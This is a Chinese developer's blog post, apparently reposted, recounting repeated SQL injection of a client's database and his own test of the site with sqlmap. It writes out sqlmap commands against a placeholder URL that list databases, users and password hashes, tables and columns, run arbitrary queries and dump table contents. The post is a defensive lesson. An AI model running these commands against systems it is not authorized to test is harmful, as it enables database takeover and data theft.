zoukankan      html  css  js  c++  java
  • 我被SQL注入撞了一下腰

    网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情。可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊。心情很纠结,按照老婆的话,怎么感觉我像失恋了一样。

    事情的起因还是在几个月前,一个重要客户的网站被注入了,当时没有什么损失,只是发现超过100长度的varchar或者text类型字段,被注入了一段html代码,到是没什么恶意的破坏内容,只是类似于广告一样的东西。

    当时并没有重视,只是把表都检查了一遍,清除了一遍了事。

    但是没想到几周后,数据库再次被注入,这一次有所警觉了,详细的检查了一下大多数代码,用hp的一套天价软件对网站进行了扫描,确实发现了一个文件有注入隐患,随后清除代码,做了修复了事。

    又过了几周,数据库再一次被注入,这就让我比较光火了,再次用hp软件扫描,没有问题,服务器端用各种安全软件扫描,也没发现问题,真的是百思不得其姐,最终又只能清除代码了事。

    从此以后,就开始了拉锯,过几周就被注入,然后我清除;再过几周又被注入,我再清除,如此反反复复。甚至到最后,我不定期就会上去看看,又被注入了没。

    最终只是整理出了只感染dbo架构的表中长度超过100的字符类型字段。

    这是前情提要。割一下。


    直到今天下午,又检查时,无意间发现一个奇怪的表名,dbo.pangolin_test_table,我的所有表名都是驼峰命名,只有个别几个表会采取这种下划线命名,而我又很清除是什么表,去google一搜索,我直接泪奔了。

    看到了sqlmap,其官网上那句slogan:automatic sql injection and database takeover tool(自动sql注入和数据库接管工具,我觉得takeover翻译为接管,更加霸气一些。)

    这次我打算一鼓作气,彻底弄明白这个问题,上网站,找资料。

    sqlmap当前版本为1.0,下载地址为:https://github.com/sqlmapproject/sqlmap

    sqlmap是用python开发的,因此要在本机安装python运行环境,下载地址为:http://www.python.org/download/

    要注意的是,sqlmap对python的版本是有要求的,只能是2.6或者2.7版本,高了低了都不行,这点一定要注意。

    安装好python之后,进入sqlmap的解压目录,进行如下的操作测试,sqlmap的具体使用打算再写另外一篇文章,这里只是简单的验证一下。

    1、sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 0,开始利用页面对网站进行注入检验,因为是给自己的网站做测试,所以已经os和db,可以直接指定,来加快校验速度:

    sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbms "Microsoft SQL Server" --os "Windows" -v 0

    出现如下提示:

    意思是说,检测到多个注入点,选择一个进行注入检测,q是退出。

    2、任意选择一个之后,稍等,即会出现下面的信息:

    从这里可以看出,基本的server信息,已经在这里列出了

    3、继续执行命令(--dbs参数表示列出服务器上的所有数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbs

    到这里我已经有点惊恐了,这,太夸张了吧

    4、继续执行命令(--users表示列出所有用户):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --users

    这个,,好吧,总算还好,只能列出当前web.config字符串中使用的默认登录用户名

    5、继续执行命令:(--passwords,列出所有用户密码):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --passwords

    执行前,我心颤了几下,要这也可以,我真就郁闷大了,幸亏没获取到,应该是因为我设置了密码强验证有关

    6、执行命令(--tables,表示列出所有的表名,dbname,可指定某个具体的数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --tables -D dbname

    我觉得,瞬间有尿点了。。

    7、执行命令(--columns ,表示列出字段,tablename ,为指定的表名):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --columns -T tablename -D dbname

    你妹啊,要管理器还干毛啊,直接用这个不就好了。

    8、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 --sql-query "select top 20 * from City"

    还带查询的,,那更新,岂不,,,,我已经无语了。。

    9、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 -T tablename -D dbname --dump

    还想做的再强大点么,连导出都带了。。

    这一串做完,我不禁觉得蛋疼菊紧,这这,,曾经以为注意了,整数字符串的强验证,正则表达式对常规的邮箱、手机号等校验,只是参数化语句,确实因为各种原因,没有贯彻的很彻底,再加上实际上的目标页面,是我忙的一段时间,另外一个同事做的。

    但是却没想到,就疏忽在这小小的几个页面上了。

    一定要引以为戒啊。。。。

    曾经我以为我是个程序员攻城狮,,现在我发现,必须要要前面加上“广告公司”四字。
  • 相关阅读:
    泛微云桥e-Bridge 目录遍历,任意文件读取
    (CVE-2020-8209)XenMobile-控制台存在任意文件读取漏洞
    selenium 使用初
    将HTML文件转换为MD文件
    Python对word文档进行操作
    使用java安装jar包出错,提示不是有效的JDK java主目录
    Windows server 2012安装VM tools异常解决办法
    ifconfig 命令,改变主机名,改DNS hosts、关闭selinux firewalld netfilter 、防火墙iptables规则
    iostat iotop 查看硬盘的读写、 free 查看内存的命令 、netstat 命令查看网络、tcpdump 命令
    使用w uptime vmstat top sar nload 等命令查看系统负载
  • 原文地址:https://www.cnblogs.com/bashenandi/p/3343855.html
Copyright © 2011-2022 走看看